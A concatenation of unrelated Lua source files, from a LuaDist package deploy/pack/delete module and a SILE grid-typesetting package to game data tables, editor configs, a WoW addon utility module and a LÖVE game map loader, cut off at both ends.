local ok = persist.save(sys.path(install, "dist.info"), info ) if not ok then return nil, "Cannot wite dist.info to" .. fullDist end -- Deploy the dist local ok, err = deploy(install, depl) if not ok then return nil, err end -- Clean up if not config.debug then sys.delete(build) sys.delete(install) end return install, "Successfully built dist in " .. install end --- Deploy dist into deployment directory. -- @param dist string: Directory of the dist to deploy. -- @param depl string: Deployment directory nil for default. -- @return ok, log: Returns true on success and log message. function deploy(dist, depl) -- Make sure deployment is always set up depl = sys.path(depl) or config.root assert(type(dist)=="string", "package.deploy: Argument 'dist' is not a string.") assert(type(depl)=="string", "package.deploy: Argument 'depl' is not a string.") -- Load dist info local info = manif.info(sys.path(dist, "dist.info")) if not info then return nil, "Directory " .. dist .. " does not contain valid dist.info" end -- Relative and full path to dist deployment local distRel = config.dists .. "/" .. info.name .. "-" .. info.version local distPath = sys.path(depl, distRel) -- If we are deploying a dist into itself if distPath == dist then return true, "Skipping, already deployed" end -- Copy to install dir sys.makeDir(depl) sys.makeDir(distPath) -- Collect files to process local files = sys.list(dist) -- Simple copy deployment for i = 1, #files do local file = files[i] if file~="dist.info" then local path = sys.path(dist, file) -- Create directory in depl if sys.isDir(path) then local ok, err = sys.makeDir(sys.path(depl, file)) if not ok then return nil, "Failed to install " .. dist .. "/" .. file .. " to " .. depl end -- Copy files to depl else local ok, err = sys.copy(sys.path(dist, file), sys.path(depl, file)) if not ok then return nil, "Failed to install " .. dist .. "/" .. file .. " to " .. depl end end end end -- Modify and save dist.info info.files = files local ok = persist.save(sys.path(distPath, "dist.info"), info) if not ok then return nil, "Cannot wite dist.info to" .. distPath end return true, "Successfully deployed dist to " .. depl end --- Pack a package to create a dist. -- @param dist string: deployed dist to pack. -- @param depl string: deployment dir to pack from. -- @param dir string: Optional destination for the dist, current directory will be used by default. -- @return ok, log: Returns success and log message. function pack(dist, depl, dir) depl = depl or dist assert(type(dist)=="string", "package.pack: Argument 'dist' is not a string.") assert(not dir or type(dir)=="string", "package.pack: Argument 'dir' is no a string.") if not dir then dir = sys.curDir() end -- Get the manifest of the dist local info = manif.info(sys.path(dist, "dist.info")) if not info then return nil, "Dist does not contain valid dist.info in " .. dist end -- Create temporary folder local pkg = info.name .. "-" .. info.version .. "-" .. info.arch .. "-" .. info.type if info.arch == "Universal" and info.type == "source" then pkg = info.name .. "-" .. info.version end local tmp = sys.path(config.temp, pkg) sys.makeDir(tmp) -- Copy dist files into temporary folder local files = info.files or sys.list(dist) if not files then return nil, "Failed to collect files for dist in " .. dist end for i = 1, #files do local file = files[i] if sys.isDir(sys.path(depl, file)) then sys.makeDir(sys.path(tmp, file)) elseif file ~= "dist.info" then local ok = sys.copy(sys.path(depl, file), sys.path(tmp, file)) if not ok then return nil, "Pack failed to copy file " .. file end end end -- Clean obsolete dist.info entries info.path = nil info.files = nil local ok, err = persist.save(sys.path(tmp, "dist.info"), info) if not ok then return nil, "Could not update dist.info." end -- Zip dist files in the temporary folder. The zip will be placed into LuaDist/tmp folder -- This cleans up .git .svn and Mac .DS_Store files. local ok = sys.zip(config.temp, pkg .. ".dist", pkg, '-x "*.git*" -x "*.svn*" -x "*~" -x "*.DS_Store*"') if not ok then return nil, "Failed to compress files in" .. pkg end local ok = sys.move(tmp .. ".dist", dir .. "/") -- Adding the "/" gets around ambiguity issues on Windows. if not ok then return nil, "Could not move dist to target directory " .. dir end -- Remove the temporary folder if not config.debug then sys.delete(tmp) end return true, "Sucessfully packed dist " .. dist .. " to " .. dir end --- Delete a deployed dist. -- @param dist string: dist to delete. -- @param depl string: deployment dir to delete from. -- @return ok, log: Returns success and nlog message. function delete(dist, depl) assert(type(dist)=="string", "package.delete: Argument 'dist' is not a string.") assert(type(dist)=="string", "package.delete: Argument 'depl' is not a string.") -- Get the manifest of the dist local info = manif.info(sys.path(dist, "dist.info")) if not info then return nil, "Dist does not contain valid dist.info in " .. dist end -- Delete installed files local files = info.files if not files then return nil, "Failed to collect files for dist in " .. dist end -- Remove list backwards to empty dirs 1st. for i = #files, 1, -1 do local file = sys.path(depl, files[i]) -- Delete deployed file if sys.isFile(file) then sys.delete(file) end -- Delete empty directories if sys.isDir(file) then local contents = sys.dir(file) if #contents == 0 then sys.delete(file) end end end -- Delete dist directory local ok = sys.delete(dist) if not ok then return nil, "Deleting dist files failed in " .. dist end return true, "Successfully removed dist " .. dist end
local gridSpacing -- Should be a setting local leadingFor = function(this, vbox, previous) if not this.frame.state.totals.gridCursor then this.frame.state.totals.gridCursor = 0 end if not previous then return SILE.nodefactory.newVglue({height = SILE.length.new()}); end this.frame.state.totals.gridCursor = this.frame.state.totals.gridCursor + previous.height.length if previous:isVbox() then this.frame.state.totals.gridCursor = this.frame.state.totals.gridCursor + previous.depth.length end local lead = gridSpacing - (this.frame.state.totals.gridCursor % gridSpacing); this.frame.state.totals.gridCursor = this.frame.state.totals.gridCursor + lead return SILE.nodefactory.newVglue({height = SILE.length.new({ length = lead })}); end local pushVglue = function(this, spec) if not this.frame.state.totals.gridCursor then this.frame.state.totals.gridCursor = 0 end SILE.defaultTypesetter.pushVglue(this, spec); SILE.defaultTypesetter.pushVglue(this, leadingFor(this, nil, SILE.nodefactory.newVglue(spec))); end SILE.registerCommand("grid", function(options, content) SU.required(options, "spacing", "grid package") -- t:initline() -- t:leaveHmode() gridSpacing = SILE.parseComplexFrameDimension(options.spacing,"h"); SILE.typesetter.leadingFor = leadingFor SILE.typesetter.pushVglue = pushVglue; end, "Begins typesetting on a grid spaced at <spacing> intervals.") SILE.registerCommand("no-grid", function (options, content) SILE.typesetter.leadingFor = SILE.defaultTypesetter.leadingFor SILE.typesetter.pushVglue = SILE.defaultTypesetter.pushVglue -- SILE.typesetter.state = t.state end, "Stops grid typesetting.")
pg = pg or {} pg.enemy_data_statistics_375 = { [212009] = { cannon = 11, reload = 150, speed_growth = 0, cannon_growth = 864, pilot_ai_template_id = 10001, air = 0, base = 182, dodge = 16, durability_growth = 47260, antiaircraft = 50, speed = 24, reload_growth = 0, dodge_growth = 200, luck = 0, battle_unit_type = 55, hit = 13, antisub_growth = 0, air_growth = 0, antiaircraft_growth = 4032, torpedo = 34, durability = 118, armor_growth = 0, torpedo_growth = 2736, luck_growth = 0, hit_growth = 189, armor = 0, id = 212009, antisub = 0, world_enhancement = { 1.2, 3.8, 0.9, 0, 0.7, 0.7, 0 }, equipment_list = { 1100246, 1100276, 1100436, 1100466 } }, [212010] = { cannon = 12, reload = 150, speed_growth = 0, cannon_growth = 996, base = 302, air = 0, durability_growth = 50400, dodge = 16, antiaircraft = 49, speed = 24, luck = 0, reload_growth = 0, dodge_growth = 200, battle_unit_type = 55, antiaircraft_growth = 3912, hit = 13, antisub_growth = 0, air_growth = 0, antisub = 0, torpedo = 36, durability = 126, armor_growth = 0, torpedo_growth = 2880, luck_growth = 0, hit_growth = 189, armor = 0, id = 212010, world_enhancement = { 1.2, 3.8, 0.9, 0, 0.7, 0.7, 0 }, equipment_list = { 1100246, 1100391, 1100361 } }, [212011] = { cannon = 11, reload = 150, speed_growth = 0, cannon_growth = 912, base = 303, air = 0, durability_growth = 52500, dodge = 16, antiaircraft = 56, speed = 24, luck = 0, reload_growth = 0, dodge_growth = 200, battle_unit_type = 55, antiaircraft_growth = 4440, hit = 13, antisub_growth = 0, air_growth = 0, antisub = 0, torpedo = 34, durability = 131, armor_growth = 0, torpedo_growth = 2736, luck_growth = 0, hit_growth = 189, armor = 0, id = 212011, world_enhancement = { 1.2, 3.8, 0.9, 0, 0.7, 0.7, 0 }, equipment_list = { 1100246, 1100116, 1100496 } }, [212012] = { cannon = 23, reload = 150, speed_growth = 0, cannon_growth = 1848, base = 304, air = 0, durability_growth = 66160, dodge = 8, antiaircraft = 32, speed = 18, luck = 0, reload_growth = 0, dodge_growth = 100, battle_unit_type = 55, antiaircraft_growth = 2520, hit = 13, antisub_growth = 0, air_growth = 0, antisub = 0, torpedo = 24, durability = 165, armor_growth = 0, torpedo_growth = 1920, luck_growth = 0, hit_growth = 189, armor = 0, id = 212012, world_enhancement = { 1.2, 2.1, 1.4, 0.3, 0.7, 0.7, 0.6 }, equipment_list = { 1100671, 1100101, 1100306 } }, [212013] = { cannon = 34, reload = 150, speed_growth = 0, cannon_growth = 2736, pilot_ai_template_id = 10001, air = 0, base = 225, dodge = 2, durability_growth = 103960, antiaircraft = 28, speed = 14, reload_growth = 0, dodge_growth = 30, luck = 0, battle_unit_type = 65, hit = 7, antisub_growth = 0, air_growth = 0, antiaircraft_growth = 2268, torpedo = 0, durability = 260, armor_growth = 0, torpedo_growth = 0, luck_growth = 0, hit_growth = 105, armor = 0, id = 212013, antisub = 0, world_enhancement = { 1.2, 0.5, 1.4, 0.5, 0.7, 1.6, 1.8 }, equipment_list = { 1100526, 1100556, 1100721 } }, [212014] = { cannon = 37, reload = 150, speed_growth = 0, cannon_growth = 2940, base = 307, air = 0, durability_growth = 115500, dodge = 2, antiaircraft = 32, speed = 14, luck = 0, reload_growth = 0, dodge_growth = 30, battle_unit_type = 65, antiaircraft_growth = 2568, hit = 7, antisub_growth = 0, air_growth = 0, antisub = 0, torpedo = 0, durability = 289, armor_growth = 0, torpedo_growth = 0, luck_growth = 0, hit_growth = 105, armor = 0, id = 212014, world_enhancement = { 1.2, 0.5, 1.4, 0.5, 0.7, 1.6, 1.8 }, equipment_list = { 1100101, 1100596, 1100731 } }, [212015] = { cannon = 36, reload = 150, speed_growth = 0, cannon_growth = 2880, base = 308, air = 0, durability_growth = 117820, dodge = 2, antiaircraft = 32, speed = 14, luck = 0, reload_growth = 0, dodge_growth = 30, battle_unit_type = 65, antiaircraft_growth = 2568, hit = 7, antisub_growth = 0, air_growth = 0, antisub = 0, torpedo = 0, durability = 295, armor_growth = 0, torpedo_growth = 0, luck_growth = 0, hit_growth = 105, armor = 0, id = 212015, world_enhancement = { 1.2, 0.5, 1.4, 0.5, 0.7, 1.6, 1.8 }, equipment_list = { 1100101, 1100596, 1100731 } }, [212016] = { cannon = 0, reload = 150, speed_growth = 0, cannon_growth = 0, pilot_ai_template_id = 10001, air = 46, base = 237, dodge = 6, durability_growth = 94500, antiaircraft = 41, speed = 18, reload_growth = 0, dodge_growth = 70, luck = 0, battle_unit_type = 60, hit = 7, antisub_growth = 0, air_growth = 3696, antiaircraft_growth = 3276, torpedo = 0, durability = 236, armor_growth = 0, torpedo_growth = 0, luck_growth = 0, hit_growth = 105, armor = 0, id = 212016, antisub = 0, world_enhancement = { 1.2, 1.5, 1.4, 0.5, 0.1, 1.6, 0.1 }, equipment_list = { 1100016, 1100596, 2200766, 2200771, 2200776 } }, [212017] = { cannon = 0, reload = 150, speed_growth = 0, cannon_growth = 0, pilot_ai_template_id = 10001, air = 48, base = 238, dodge = 6, durability_growth = 99220, antiaircraft = 41, speed = 18, reload_growth = 0, dodge_growth = 70, luck = 0, battle_unit_type = 60, hit = 7, antisub_growth = 0, air_growth = 3878, antiaircraft_growth = 3276, torpedo = 0, durability = 248, armor_growth = 0, torpedo_growth = 0, luck_growth = 0, hit_growth = 105, armor = 0, id = 212017, antisub = 0, world_enhancement = { 1.2, 1.5, 1.4, 0.5, 0.1, 1.6, 0.1 }, equipment_list = { 1100016, 1100166, 2200766, 2200771, 2200776 } }, [212018] = { cannon = 0, reload = 150, speed_growth = 0, cannon_growth = 0, base = 295, air = 53, durability_growth = 89780, dodge = 6, antiaircraft = 41, speed = 18, luck = 0, reload_growth = 0, dodge_growth = 70, battle_unit_type = 60, antisub = 0, hit = 7, antisub_growth = 0, air_growth = 4256, antiaircraft_growth = 3276, torpedo = 0, durability = 224, armor_growth = 0, torpedo_growth = 0, luck_growth = 0, hit_growth = 105, armor = 0, id = 212018, world_enhancement = { 1.2, 1.5, 1.4, 0.5, 0.1, 1.6, 0.1 }, bound_bone = { cannon = { { -0.5, 0.5, 0 } }, antiaircraft = { { 0.5, 0.8, 0 }, { -0.5, 0.8, 0 } }, plane = { { -0.5, 0.5, 0 } } }, equipment_list = { 1100016, 1100166, 2200766, 2200771, 2200776 } }, [212101] = { cannon = 6, reload = 150, speed_growth = 0, cannon_growth = 480, pilot_ai_template_id = 10001, air = 0, base = 150, dodge = 22, durability_growth = 42000, antiaircraft = 22, speed = 27, reload_growth = 0, dodge_growth = 270, luck = 0, battle_unit_type = 50, hit = 13, antisub_growth = 0, air_growth = 0, antiaircraft_growth = 1764, torpedo = 48, durability = 105, armor_growth = 0, torpedo_growth = 3840, luck_growth = 0, hit_growth = 189, armor = 0, id = 212101, antisub = 0, world_enhancement = { 1.6, 5.4, 1.2, 0.6, 0.9, 0.9, 0 }, equipment_list = { 1100002, 1100137, 1100497 } }, [212102] = { cannon = 5, reload = 150, speed_growth = 0, cannon_growth = 432, pilot_ai_template_id = 10001, air = 0, base = 151, dodge = 22, durability_growth = 37800, antiaircraft = 22, speed = 27, reload_growth = 0, dodge_growth = 270, luck = 0, battle_unit_type = 50, hit = 13, antisub_growth = 0, air_growth = 0, antiaircraft_growth = 1764, torpedo = 46, durability = 95, armor_growth = 0, torpedo_growth = 3648, luck_growth = 0, hit_growth = 189, armor = 0, id = 212102, antisub = 0, world_enhancement = { 1.6, 5.4, 1.2, 0.6, 0.9, 0.9, 0 }, equipment_list = { 1100002, 1100137, 1100497 } }, [212103] = { cannon = 5, reload = 150, speed_growth = 0, cannon_growth = 432, pilot_ai_template_id = 10001, air = 0, base = 152, dodge = 22, durability_growth = 37800, antiaircraft = 22, speed = 27, reload_growth = 0, dodge_growth = 270, luck = 0, battle_unit_type = 50, hit = 13, antisub_growth = 0, air_growth = 0, antiaircraft_growth = 1764, torpedo = 46, durability = 95, armor_growth = 0, torpedo_growth = 3648, luck_growth = 0, hit_growth = 189, armor = 0, id = 212103, antisub = 0, world_enhancement = { 1.6, 5.4, 1.2, 0.6, 0.9, 0.9, 0 }, equipment_list = { 1100002, 1100137, 1100497 } }, [212104] = { cannon = 6, reload = 150, speed_growth = 0, cannon_growth = 480, pilot_ai_template_id = 10001, air = 0, base = 153, dodge = 22, durability_growth = 44100, antiaircraft = 22, speed = 27, reload_growth = 0, dodge_growth = 270, luck = 0, battle_unit_type = 50, hit = 13, antisub_growth = 0, air_growth = 0, antiaircraft_growth = 1764, torpedo = 46, durability = 110, armor_growth = 0, torpedo_growth = 3648, luck_growth = 0, hit_growth = 189, armor = 0, id = 212104, antisub = 0, world_enhancement = { 1.6, 5.4, 1.2, 0.6, 0.9, 0.9, 0 }, equipment_list = { 1100002, 1100137, 1100497 } }, [212105] = { cannon = 6, reload = 150, speed_growth = 0, cannon_growth = 492, base = 297, air = 0, durability_growth = 42840, dodge = 22, antiaircraft = 23, speed = 27, luck = 0, reload_growth = 0, dodge_growth = 270, battle_unit_type = 50, antiaircraft_growth = 1800, hit = 13, antisub_growth = 0, air_growth = 0, antisub = 0, torpedo = 49, durability = 107, armor_growth = 0, torpedo_growth = 3912, luck_growth = 0, hit_growth = 189, armor = 0, id = 212105, world_enhancement = { 1.6, 5.4, 1.2, 0.6, 0.9, 0.9, 0 }, equipment_list = { 1100002, 1100137, 1100512 } }, [212106] = { cannon = 6, reload = 150, speed_growth = 0, cannon_growth = 480, base = 298, air = 0, durability_growth = 39900, dodge = 22, antiaircraft = 22, speed = 27, luck = 0, reload_growth = 0, dodge_growth = 270, battle_unit_type = 50, antiaircraft_growth = 1764, hit = 13, antisub_growth = 0, air_growth = 0, antisub = 0, torpedo = 50, durability = 100, armor_growth = 0, torpedo_growth = 4032, luck_growth = 0, hit_growth = 189, armor = 0, id = 212106, world_enhancement = { 1.6, 5.4, 1.2, 0.6, 0.9, 0.9, 0 }, equipment_list = { 1100002, 1100137, 1100512 } } } return
math.randomseed(os.time()) local f = assert(io.open("dataset2.txt", "w")) local n = 200 local maxW = math.random(1, 10^9) f:write(string.format("%d %d\n", n, maxW)) for i = 1, n do local vi = math.random(1, 10^9) local wi = math.random(1, 1000) f:write(string.format("%d %d\n", vi, wi)) end f:close() local f = assert(io.open("dataset3-1.txt", "w")) local n = 200 local maxW = math.random(1, 10^9) f:write(string.format("%d %d\n", n, maxW)) for i = 1, n do local vi = math.random(1, 1000) local wi = math.random(1, 10^9) f:write(string.format("%d %d\n", vi, wi)) end f:close() local f = assert(io.open("dataset3-2.txt", "w")) local n = 200 local maxW = math.random(10^9, 10^9) f:write(string.format("%d %d\n", n, maxW)) for i = 1, n do local vi = math.random(100, 1000) local wi = math.random(1, 10^6) f:write(string.format("%d %d\n", vi, wi)) end f:close() local n = 200 local t,s = {},0 for i = 1, n do local vi = math.random(1, 1000) local wi = math.random(1, 10^6) table.insert(t, {vi, wi}) s = s + wi end local maxW = math.min(10^9, math.ceil(s / 1.7)) local f = assert(io.open("dataset3-3.txt", "w")) f:write(string.format("%d %d\n", n, maxW)) for i,v in ipairs(t) do f:write(string.format("%d %d\n", v[1], v[2])) end f:close()
--[[ lrc4 - Native Lua/LuaJIT RC4 stream cipher library - https://github.com/CheyiLin/lrc4 The MIT License (MIT) Copyright (c) 2015-2021 Cheyi Lin <cheyi.lin@gmail.com> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ]] -- for Lua 5.3 and above only local bitwise = { xor = function(a, b) return a ~ b end, } return bitwise
local objChinaGate = createObject(986, 2566.45, 1822, 11, 0, 0, 180) exports.pool:allocateElement(objChinaGate) local objChinaGate2 = createObject(986, 2566.45, 1826, 11, 0, 0, 180) exports.pool:allocateElement(objChinaGate2) local objChinaFence = createObject( 987, 2544.3037109375, 1845.4, 9.5, 0, 0, 270) exports.pool:allocateElement(objChinaFence) open = false -- Gate code function useChinaGate(thePlayer) local team = getPlayerTeam(thePlayer) if (team==getTeamFromName("Yamaguchi-Gumi")) then local x, y, z = getElementPosition(thePlayer) local distance = getDistanceBetweenPoints3D( 2565.1757, 1820.6582, 10.8203, x, y, z ) if (distance<=10) and (open==false) then open = true outputChatBox("Yakuza gate is now Open!", thePlayer, 0, 255, 0) moveObject(objChinaGate, 3000, 2571.8, 1822, 11) moveObject(objChinaGate2, 4000, 2571.8, 1826, 11) setTimer(closeChinaGate, 6000, 1, thePlayer) end end end addCommandHandler("gate", useChinaGate) function closeChinaGate(thePlayer) if (getElementType(thePlayer)) then outputChatBox("Yakuza gate is now Closed!", thePlayer, 255, 0, 0) end moveObject(objChinaGate, 3000, 2566.45, 1822, 11) moveObject(objChinaGate2, 4000, 2566.45, 1826, 11) setTimer(resetChinaGateState, 1000, 1) end function resetChinaGateState() open = false end
local lsok, ls = pcall(require, "luasnip") if not lsok then vim.notify("Unable to require luasnip") return end local lsvsok, lsvscode = pcall(require, "luasnip.loaders.from_vscode") if not lsvsok then vim.notify("Unable to require luasnip.loaders.from_vscode") return end local lsloadok, lsloader = pcall(require, "luasnip.loaders.from_lua") if not lsloadok then vim.notify("Unable to require luasnip.loaders.from_lua") return end lsloader.load({paths = "~/.config/nvim/snippets"}) local types = require("luasnip.util.types") ls.config.set_config({ -- Keep last snippet to jump around history = true, -- Enable dynamic snippets updateevents = "TextChanged,TextChangedI", enable_autosnippets = false, ext_opts = { -- [types.insertNode] = {active = {virt_text = {{"●", "DiffAdd"}}}}, [types.choiceNode] = {active = {virt_text = {{"●", "Operator"}}}} } }) -- Extend changelog with debchangelog ls.filetype_extend("changelog", {"debchangelog"}) lsvscode.lazy_load() vim.keymap.set("n", "<Leader><Leader>s", ":luafile ~/.config/nvim/lua/config/luasnip.lua<CR>", {silent = false, desc = "Reload snippets"})
---------------------------------------------------------------------------------------------------- -- -- All or portions of this file Copyright (c) Amazon.com, Inc. or its affiliates or -- its licensors. -- -- For complete copyright and license terms please see the LICENSE at the root of this -- distribution (the "License"). All use of this software is governed by the License, -- or, if provided, by the license below or the license accompanying this file. Do not -- remove or modify any license notices. This file is distributed on an "AS IS" BASIS, -- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -- -- ---------------------------------------------------------------------------------------------------- local CreateBall = { Properties = { Ball = {default = EntityId()}, OtherButtons = {default = {EntityId()}}, }, } function CreateBall:OnActivate() self.buttonHandler = UiButtonNotificationBus.Connect(self, self.entityId) self.tickHandler = TickBus.Connect(self) end function CreateBall:OnTick() self.tickHandler:Disconnect() UiElementBus.Event.SetIsEnabled(self.Properties.Ball, false) self.canvasNotificationBusHandler = UiCanvasNotificationBus.Connect(self, UiElementBus.Event.GetCanvas(self.entityId)) end function CreateBall:OnAction(entityId, actionName) if (actionName == "BallDestroyed") then for i = 0, #self.Properties.OtherButtons do UiInteractableBus.Event.SetIsHandlingEvents(self.Properties.OtherButtons[i], false) end end end function CreateBall:OnButtonClick() UiElementBus.Event.SetIsEnabled(self.Properties.Ball, true) for i = 0, #self.Properties.OtherButtons do UiInteractableBus.Event.SetIsHandlingEvents(self.Properties.OtherButtons[i], true) end end function CreateBall:OnDeactivate() self.buttonHandler:Disconnect() end return CreateBall
--[[ MIT License Copyright (c) 2021 Michael Wiesendanger Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ]]-- -- luacheck: globals GetLocale local mod = rgpvpw local me = {} mod.common = me me.tag = "Common" --[[ Depending on what locale the client has a different implementation is used to normalize a spellname (this is determined once during addon load). This is done because this function is time critical and can be called a lot during fights with a lot of players. ]]-- if (GetLocale() == "deDE") then --[[ Normalize spellName by replacing spaces with underscores and removing special characters including german umlaute @param {string} spellName @return {string} normalized spellName ]]-- function me.NormalizeSpellname(spellName) local name = string.gsub(string.lower(spellName), "%s+", "_") name = string.gsub(name, "_%-_", "_") name = string.gsub(name, "[-/]", "_") name = string.gsub(name, "[':%(%)]+", "") name = string.gsub(name, "ö", "oe") name = string.gsub(name, "ü", "ue") name = string.gsub(name, "ä", "ae") name = string.gsub(name, "ß", "ss") return name end else --[[ Normalize spellName by replacing spaces with underscores and removing special characters @param {string} spellName @return {string} normalized spellName ]]-- function me.NormalizeSpellname(spellName) local name = string.gsub(string.lower(spellName), "%s+", "_") name = string.gsub(name, "_%-_", "_") name = string.gsub(name, "[-/]", "_") name = string.gsub(name, "[':%(%)]+", "") return name end end --[[ @param {table} obj the object that should be cloned @return {table} a clone of the object passed ]]-- function me.Clone(obj) if type(obj) ~= "table" then return obj end local res = {} for k, v in pairs(obj) do res[me.Clone(k)] = me.Clone(v) end return res end --[[ Calculate the length of a table @param {table} t return {number} ]]-- function me.TableLength(t) local count = 0 for _ in pairs(t) do count = count + 1 end return count end --[[ Map wow events to a constant mapping @param {string} event @param {number} targetModifier Certain events require to define what was the source of an event to determine the correct spelltype @return {number | nil} number - The number representing the event according to RGPVPW_CONSTANTS.SPELL_TYPES nil - if the event is not supported ]]-- function me.GetSpellType(event, targetModifier) if event == "SPELL_CAST_SUCCESS" then return RGPVPW_CONSTANTS.SPELL_TYPES.NORMAL elseif event == "SPELL_CAST_START" then return RGPVPW_CONSTANTS.SPELL_TYPES.START elseif event == "SPELL_AURA_APPLIED" then return RGPVPW_CONSTANTS.SPELL_TYPES.APPLIED elseif event == "SPELL_AURA_REMOVED" then return RGPVPW_CONSTANTS.SPELL_TYPES.REMOVED elseif event == "SPELL_AURA_REFRESH" then return RGPVPW_CONSTANTS.SPELL_TYPES.REFRESH elseif event == "SPELL_MISSED" then if targetModifier == RGPVPW_CONSTANTS.TARGET_SELF then return RGPVPW_CONSTANTS.SPELL_TYPES.MISSED_SELF elseif targetModifier == RGPVPW_CONSTANTS.TARGET_ENEMY then return RGPVPW_CONSTANTS.SPELL_TYPES.MISSED_ENEMY end end return nil end --[[ @param {number} spellType One of RGPVPW.SPELL_TYPES @return {string} One of RGPVPW.SPELL_TYPE ]]-- function me.GetSpellMap(spellType) if spellType == RGPVPW_CONSTANTS.SPELL_TYPES.MISSED_SELF then return RGPVPW_CONSTANTS.SPELL_TYPE.SPELL_SELF_AVOID elseif spellType == RGPVPW_CONSTANTS.SPELL_TYPES.MISSED_ENEMY then return RGPVPW_CONSTANTS.SPELL_TYPE.SPELL_ENEMY_AVOID elseif spellType == RGPVPW_CONSTANTS.SPELL_TYPES.START then return RGPVPW_CONSTANTS.SPELL_TYPE.SPELL else return RGPVPW_CONSTANTS.SPELL_TYPE.SPELL end end --[[ Check if the missType is support. See RGPVPW_CONSTANTS.MISS_TYPES for all supported types. An example for an unsupported missType is "ABSORB". If we don't filter that one out the player would get a warning that he resisted a damaging spell such as "Cone of Cold" when he used some form of shield. E.g. a priest used "Power Word: Shield" and completely absorbed the enemies spell. @param {string} missType RGPVPW_CONSTANTS.MISS_TYPES @return {boolean} true - if the missType is supported false - if the missType is not supported ]]-- function me.IsSupportedMissType(missType) if RGPVPW_CONSTANTS.MISS_TYPES[missType] ~= nil then return true end return false end --[[ Get a textures name by its numerical value @parma {number} colorValue @return {string} ]]-- function me.GetTextureNameByValue(colorValue) for _, texture in pairs(RGPVPW_CONSTANTS.TEXTURES) do if colorValue == texture.colorValue then return texture.textureName end end return RGPVPW_CONSTANTS.TEXTURES.none.texturName -- default if none was found end
local sti = require "lib.sti" local bump = require "lib.bump" local bump_debug = require "lib.bump_debug" function setupMap(m) map = sti(m,{"bump"}) world = bump.newWorld(32) map:bump_init(world) speedx = 0 speedy = 0 inEncounter = false local layer = map:addCustomLayer("spritesRender", #map.layers) local player = getItem(map.objects, "player") layer.sprites = {} for _, sprite in pairs(map.objects) do local img = love.graphics.newImage("assets/sprites/"..sprite.name..".png") if sprite.name == "maplesyrup" then img = love.graphics.newImage("assets/sprites/maplesyrupsmol.png") end layer.sprites[sprite.id] = { name = sprite.name, sprite = img, x = sprite.x, y = sprite.y, ox = img:getWidth() / 4, oy = img:getHeight() / 4, width = img:getWidth(), height = img:getHeight(), talkedTo = false; properties = sprite.properties } world:add(sprite, sprite.x, sprite.y, math.floor(img:getWidth() / 2), math.floor(img:getHeight() / 2)) end getItem(layer.sprites, "player").sprite = love.graphics.newImage("assets/sprites/"..playerSprite.."e.png") if level == "home" then narration = "Hey look, there you are, all ready to go out on your epic quest. Better put on some clothes and grab your trusty backpack for storing food before you go, you probably won’t be coming back anytime soon." elseif level == "tutorial" then narration = "Oh hey, look at that person over there, they’ve got tons of food! I’m sure they’d be more than happy to share some with you. Go over and talk to them." elseif level == "level1" then narration = "" elseif level == "level6" then narration = "Oh hey, you finally made it? Wait, did you walk all the way here? Wow, good for you, that must have been a ton of work. I just took the train, was really nice, great picturesque views. Anyway, here it is the Great Refrigerator, go forward and claim your prize!" end layer.update = function(self, dt) if math.abs(speedx) < 0.1 then speedx = 0 end if math.abs(speedy) < 0.1 then speedy = 0 end if love.keyboard.isDown("w", "up") then getItem(self.sprites, "player").sprite = love.graphics.newImage("assets/sprites/"..playerSprite.."n.png") speedy = speedy - 0.2 end if love.keyboard.isDown("s", "down") then getItem(self.sprites, "player").sprite = love.graphics.newImage("assets/sprites/"..playerSprite.."s.png") speedy = speedy + 0.2 end if love.keyboard.isDown("a", "left") then getItem(self.sprites, "player").sprite = love.graphics.newImage("assets/sprites/"..playerSprite.."w.png") speedx = speedx - 0.2 end if love.keyboard.isDown("d", "right") then getItem(self.sprites, "player").sprite = love.graphics.newImage("assets/sprites/"..playerSprite.."e.png") speedx = speedx + 0.2 end hunger = hunger + math.random()/250 if hunger >= 10 then gamePhase = "gameover" end if speedx > 0 then speedx = speedx - 0.1 elseif speedx < 0 then speedx = speedx + 0.1 end if speedy > 0 then speedy = speedy - 0.1 elseif speedy < 0 then speedy = speedy + 0.1 end for _, sprite in pairs(self.sprites) do if sprite.name == "player" then sprite.attx = sprite.x + speedx sprite.atty = sprite.y + speedy sprite.x, sprite.y, cols, cols_len = world:move(player, sprite.attx, sprite.atty) if not (sprite.attx == sprite.x) then speedx = 0 end if not (sprite.atty == sprite.y) then speedy = 0 end checkEncounters(sprite) end end end layer.draw = function(self) for _, object in pairs(self.sprites) do if object.name == "player" then love.graphics.draw( object.sprite, math.floor(object.x), math.floor(object.y), 0, 1, 1, object.ox, object.oy ) else love.graphics.draw( object.sprite, math.floor(object.x), math.floor(object.y), 0, 1, 1, 0, 0 ) end end local nWidth, nLines = font24:getWrap(narration, screenWidth - 100) local 